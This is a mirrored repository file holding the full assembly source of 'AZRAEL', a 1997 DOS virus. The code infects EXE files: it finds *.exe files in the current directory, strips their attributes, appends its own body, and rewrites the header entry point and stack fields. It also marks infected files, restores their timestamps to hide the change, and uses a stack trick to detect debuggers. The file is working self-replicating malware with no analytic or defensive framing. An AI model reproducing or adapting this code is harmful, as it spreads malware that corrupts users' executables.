mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-27 09:28:25 +00:00
276 lines
4.9 KiB
NASM
276 lines
4.9 KiB
NASM
start:
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call delta
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delta:
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pop bp
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sub bp,offset delta
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mov ax,0faceh
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push ax
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pop ax
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cli
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dec sp
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dec sp
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sti
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pop bx
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cmp bx,ax
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je its_ok
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mov ax,4c00h
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int 21h
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its_ok:
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mov word ptr[bp+saved_ds],ds
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push cs
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push cs
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pop ds
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pop es
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lea si,[bp+old_ip]
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lea di,[bp+original_ip]
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mov cx,4
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rep movsw
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mov ah,1ah
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lea dx,[bp+ende]
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int 21h
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mov ah,4eh
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lea dx,[bp+file_spec]
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mov cx,7
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find_next:
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int 21h
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jc before_restore
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mov ax,4300h
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lea dx,[bp+ende+1eh]
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int 21h
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mov word ptr[bp+attribs],cx
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mov ax,4301h
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xor cx,cx
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lea dx,[bp+ende+1eh]
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int 21h
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lea dx,[bp+ende+1eh]
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call open
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mov bx,ax
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mov ax,5700h
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int 21h
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mov word ptr[bp+time],cx
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mov word ptr[bp+date],dx
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mov cx,1ah
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lea dx,[bp+exe_header]
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call read
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cmp word ptr [bp+exe_header],'ZM'
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je check_infected
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cmp word ptr [bp+exe_header],'MZ'
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je check_infected
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jmp close
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check_infected:
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cmp word ptr [bp+exe_header+12h],'V'
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je close
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call save_exe_header
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mov al,02
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call seek
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mov word ptr[bp+file_size_ax],ax
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mov word ptr[bp+file_size_dx],dx
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call calculate_new_cs_ip
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mov ax,word ptr[bp+file_size_ax]
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mov dx,word ptr[bp+file_size_dx]
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call calculate_new_size
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push byte ptr [bp+counter]
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mov byte ptr[bp+counter],0
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jmp goon
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before_restore:
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jmp restore
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goon:
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mov cx,ende-start
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lea dx,[bp+start]
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call write
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pop byte ptr [bp+counter]
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mov al,0
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call seek
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mov cx,1ah
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lea dx,[bp+exe_header]
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call write
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inc byte ptr[bp+counter]
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close:
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mov ax,5701h
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mov cx,word ptr[bp+time]
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mov dx,word ptr[bp+date]
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int 21h
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mov ah,3eh
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int 21h
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mov ax,4301h
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lea dx,[bp+ende+1eh]
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mov cx,word ptr[bp+attribs]
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int 21h
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cmp byte ptr[bp+counter],3
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je restore
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mov ah,4fh
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jmp find_next
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restore:
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mov ax,word ptr[bp+saved_ds]
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mov ds,ax
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mov ah,1ah
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mov dx,80h
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int 21h
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push ds
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pop es
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mov ax,es
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add ax,10h ;add ajustment for PSP
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add word ptr cs:[original_CS+bp],ax ;Adjust old CS by
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;current seg
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cli
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add ax,word ptr cs:[bp+original_SS] ;Adjust old SS
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mov ss,ax ;Restore stack to
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mov sp,word ptr cs:[bp+original_SP] ;original position
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sti
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db 0eah
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original_ip dw ?
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original_cs dw ?
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original_sp dw ?
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original_ss dw ?
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;*****************;
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; SUB - FUNCTIONS ;
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;*****************;
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save_exe_header:
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push word ptr[bp+exe_header+0eh]
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pop word ptr[bp+old_ss]
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push word ptr[bp+exe_header+10h]
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pop word ptr[bp+old_sp]
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push word ptr[bp+exe_header+14h]
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pop word ptr[bp+old_ip]
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push word ptr[bp+exe_header+16h]
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pop word ptr[bp+old_cs]
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ret
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calculate_new_cs_ip:
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mov ax,word ptr [exe_header+bp+8] ;Get header length
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mov cl,4 ;and convert it to
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shl ax,cl ;bytes.
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mov cx,ax
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mov ax,word ptr[bp+file_size_ax]
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sub ax,cx ;Subtract header
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sbb dx,0 ;size from file
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;size for memory
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;adjustments
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mov cl,0ch ;Convert DX into
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shl dx,cl ;segment Address
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mov cl,4
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push ax ;Change offset (AX) into
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shr ax,cl ;segment, except for last
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add dx,ax ;digit. Add to DX and
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shl ax,cl ;save DX as new CS, put
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pop cx ;left over into CX and
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sub cx,ax ;store as the new IP.
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mov word ptr [exe_header+bp+14h],cx
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mov word ptr [exe_header+bp+16h],dx ;Set new CS:IP
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mov word ptr [exe_header+bp+0eh],dx ;Set new SS = CS
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mov word ptr [exe_header+bp+10h],0fffe ;Set new SP
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mov byte ptr [exe_header+bp+12h],'V' ;mark infection
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ret
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calculate_new_size:
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add ax,ende-start ;Add virus size to DX:AX
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adc dx,0
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mov cl,7
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shl dx,cl ;convert DX to pages
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mov cl,9
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shr ax,cl
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add ax,dx
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inc ax
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mov word ptr [exe_header+bp+04],ax ;save # of pages
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mov ax,word ptr[bp+file_size_ax]
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mov dx,ax
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shr ax,cl ;Calc remainder
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shl ax,cl ;in last page
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sub dx,ax
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mov word ptr [exe_header+bp+02],dx ;save remainder
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ret
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seek:
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mov ah,42h
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xor cx,cx
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xor dx,dx
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int 21h
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ret
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read:
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mov ah,3fh
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int 21h
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ret
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write:
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mov ah,40h
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int 21h
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ret
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open:
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mov ax,3d02h
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int 21h
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ret
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saved_ds dw ?
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exe_header db 1ah dup(?)
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old_ip dw 0
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old_cs dw 0fff0h
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old_sp dw 0
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old_ss dw 0fff0h
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file_spec db '*.exe',0
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file_size_ax dw ?
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file_size_dx dw ?
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attribs dw ?
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time dw ?
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date dw ?
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counter db 0
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copyright db 'AZRAEL / Copyright by Spo0ky / Austria 1997',0
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ende:
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